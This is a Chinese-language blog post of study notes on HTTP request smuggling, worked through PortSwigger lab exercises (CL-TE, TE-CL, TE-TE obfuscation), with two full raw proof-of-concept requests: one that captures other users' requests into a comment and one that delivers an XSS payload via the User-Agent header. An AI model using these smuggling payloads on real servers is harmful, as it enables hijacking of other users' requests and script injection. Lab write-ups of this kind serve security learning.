http请求走私漏洞

访问Burp靶场速度感人..都要哭了(如果没有账户的先创建账户)

基础补充

pipeline

http1.1有了Pipeline,就不需要等待Server端的响应了。浏览器默认不启用pipeline但服务器相反

keepalive

通过Connection: keep-alive 这个头部来实现,服务端和客户端都可以使用它告诉对方在发送完数据之后不需要断开 TCP 连接。

CL

就是Content-Length, 这个content-length有多长,读过这个数就停止了

TE

就是Transfer-Encoding, TE遇0结束跟个\r\n。只定义了一种格式:chunked(分块编码)

Burp的特性

传值是隔一行才算进去



这里我开启了bp的默认更新CL

改请求格式就不讲了

绕过Waf就不讲了..

五种http走私

截图来自于spidersec,twitter上自己去搜

  • CL!=0: 就是CL不等于0呗
  • CL-CL: 前端和后端都是用CL认证
  • CL-TE: 前端用CL认证,后端用TE认证
  • TE-CL: 前端用TE认证,后端用CL认证
  • TE-TE: 前端和后端都是用TE认证

CL-TE

后端TE认证,会屏蔽掉CL

靶场环境:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉

解释下为什么CL设置成6,一个Enter是2字节,2*2=4,4+1(0)+A(0)



第一次读取正常,接着Go一次

TE-CL

后端遵守CL

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉



因为是CL认证,5是muxue的字节,我设置cl是3(5+enter=3)

第一遍正常请求,发送第二遍



OK...

就是因为后端采用了CL认证,后面的数据会被放进缓冲区,然后再请求一遍去加载

TE-TE

同样采用TE认证

但是可以混淆绕过,弄两个transfer-encoding哈哈

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header



第二个TE头是来混淆的,我们再次发送请求看看会不会成功



如果单一的transfer-encoding:chunked我们来试试

怎么请求都是200

smuggling造成的用户劫持

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests



有一个正常的可以输出自定义内容的页面,This is very important

然后我们来利用走私漏洞达到劫持,普通请求一个get页面看看

Poc
POST / HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 712
Transfer-encoding: chunked 0 POST /post/comment HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://accb1f821e43d7f880b21132005e0079.web-security-academy.net/post?postId=5
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1190 csrf=bvhD9jnQtfj05BLQDksbPhzXpG3RjLNq&postId=5&name=cnm&email=cnm%40gmai.com&website=https%3A%2F%2Ftest.com&comment=cnm-hacker

这个我用edge整了很长时间,没有成功,用firefox就成功了。不知道是什么原因...

没用的可以删掉

为什么cl要这么大:因为要留出来一部分给受害者请求

为什么comment要放最后面:我看人家都把显示位拼接在后面,我照葫芦画瓢要是有人知道,请教一哈

content-length一定要大



出现这个,基本上就成了

smuggling配合xss

https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

官方提示了,UA头那里



配合http request smuggling

这个洞我又回到了edge.. 真不知道哪里出错了

POC
POST / HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Transfer-encoding: chunked 0 GET /post?postId=1 HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: "><script>alert(/xss/)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw

正常发送一次,数据会被带到缓冲区,然后受害者请求网站,达到半存储型xss



这种感觉只要持续发送这个包,就可以达到存储型XSS吧

案例

等以后挖到 慢慢更新

2020 12.22 19:38 更新

最近因忙于备战高考... 也没搞安全,反正带专见呗 冲不动了

然后今晚也挖到了个

细节我确实也写了 但是不在博客园 各位有缘就能看见(滑稽)

Article:https://portswigger.net/web-security/request-smuggling

Http Request Smuggling - Note的更多相关文章

  1. [Java Web]Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors

    手机客户端向服务器提交Http请求时,Tomcat抛出错误: 十二月 31, 2014 2:32:45 下午 org.apache.coyote.http11.AbstractHttp11Proces ...

  2. 信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    四月 , :: 下午 org.apache.coyote.http11.AbstractHttp11Processor process 信息: Error parsing HTTP request h ...

  3. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  4. 利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境

    Haproxy 介绍 HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性.负载均衡,以及基于TCP和HTTP的应用程序代理. 请求走私(Request smuggling)概念证 ...

  5. Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling 目录 HTTP request smuggling HTTP request smuggling, basic CL.TE vulnerability H ...

  6. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  7. Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors...java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are

    先将异常信息贴出: 该问题是tomcat进行http request解析的时候报的错,网上的解决办法主要是修改Tomcat的server.xml,在<Connector port="8 ...

  8. Tomcat:Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level.

    可能原因一: 在本地tomcat启动正常并且访问正常的项目放在服务器上tomcat报以上错误. 本地tomcat为7.0.68,服务器上为7.0.86 错误原因:服务器tomcat版本过高. 解决办法 ...

  9. Get提交数据过大,tomcat报错,信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    原因 get提交的数据过大,超过了默认值. 解决办法 get提交配置 设置tomcat的server.xml.找到我们启动的端口,一般是8080,增加maxHttpHeaderSize= " ...

随机推荐

  1. excel函数提取身份证出生日期,分离日期时间的日期和时间

    1.提取身份证出生日期 =1*TEXT(MID(H13,7,8),"0-00-00")用MID函数提取表示日期的位数,再用text函数转换为格式1998-6-21格式的文本,再通过 ...

  2. 26、samba搭建

    26.1.samba介绍: samba是一个网络服务器,基于linux操作系统,用于linux和windows之间数据的共享: Samba是一个能让Linux系统应用Microsoft网络通讯协议的软 ...

  3. Raspberry Pi:树莓派安装Kali2021新版本

    准备材料 树莓派4B kali系统镜像 SDFormatter (格式化工具) Win32DiskImager (镜像拷录工具) 镜像下载 kali下载地址:https://www.offensive ...

  4. linux命令-------find命令之exec

    p.p1 { margin: 0; font: 18px "Hannotate SC"; color: rgba(4, 51, 255, 1); -webkit-text-stro ...

  5. WPF教程十四:了解元素的渲染OnRender()如何使用

    上一篇分析了WPF元素中布局系统的MeasureOverride()和ArrangeOverride()方法.本节将进一步深入分析和研究元素如何渲染它们自身. 大多数WPF元素通过组合方式创建可视化外 ...

  6. ROS2学习之旅(14)——编写简单的发布者和订阅者(C++)

    节点是通过ROS Graph进行通信的可执行进程.在本文中,节点将通过话题以字符串消息的形式相互传递信息.这里使用的例子是一个简单的"talker"和"listener& ...

  7. 第 1 题:HTML 和 HTML5 有什么区别?

    概念 HTML5 将成为 HTML.XHTML 以及 HTML DOM 的新标准 文档类型声明 HTML <!DOCTYPE html PUBLIC "-//W3C//DTD HTML ...

  8. 开源桌面快速启动工具-GeekDesk

    GeekDesk 小巧.美观的桌面快速启动工具 开发框架 wpf .net 4.7.2 HandyControl 全局热键 鼠标跟随 快速启动 随时随地 支持自定义热键 支持鼠标跟随 自定义壁纸 随意 ...

  9. 【记录】如何造一个vite插件(1)

    在看文章前,先做个定位,这不是一篇纯粹的技术性文章,可以把它理解成一个叙述文章,记录我开发插件的过程. 开始前简单的吹个牛 vue2 也写了很多年了,多人合作始终避不开用到别人的组件.关键是有些组件没 ...

  10. File类与常用IO流第五章——IO字符流

    字符流,只能操作文本文件,不能操作图片.视频等非文本文件 字符输入流 java.io.Reader 字符输入流中一些共性的成员方法 int read():读取单个字符并返回. int read(cha ...